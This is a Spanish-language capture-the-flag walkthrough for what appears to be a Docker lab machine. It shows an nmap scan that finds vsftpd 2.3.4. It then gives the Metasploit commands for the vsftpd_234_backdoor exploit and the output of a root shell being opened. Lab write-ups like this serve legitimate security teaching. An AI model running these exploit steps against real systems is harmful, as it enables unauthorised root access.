Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 05:40 EST
Nmap scan report for 172.17.0.3
Host is up (0.000047s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds
Vemos que tenemos un ftp y un apache2, pero en la pagina web de apache2 es la que viene por defecto y no veremos nada interesante, si investigamos mas el ftp veremos que tiene la version vsftpd 2.3.4 la cual puede ser vulnerable a un exploit vamos a ver si tiene algun exploit asociado a el.
Escalate Privileges
Metasploit
msfconsole -q
Una vez dentro vamos a buscarlo de la siguiente forma:
search vsftpd 2.3.4
Info:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
Vemos que si tiene uno, vamos a utilizarlo y a configurarlo.
use exploit/unix/ftp/vsftpd_234_backdoor
Una vez seleccionado, vamos a configurarlo de la siguiente forma:
set RHOSTS <IP_VICTIM>
exploit
Info:
[*] 172.17.0.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.3:21 - USER: 331 Please specify the password.
[+] 172.17.0.3:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.3:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:36331 -> 172.17.0.3:6200) at 2025-02-03 05:46:07 -0500
whoami
root
Y como veremos hemos podido entrar mediante una backdoor al sistema como el usuario root, por lo que habremos terminado la maquina.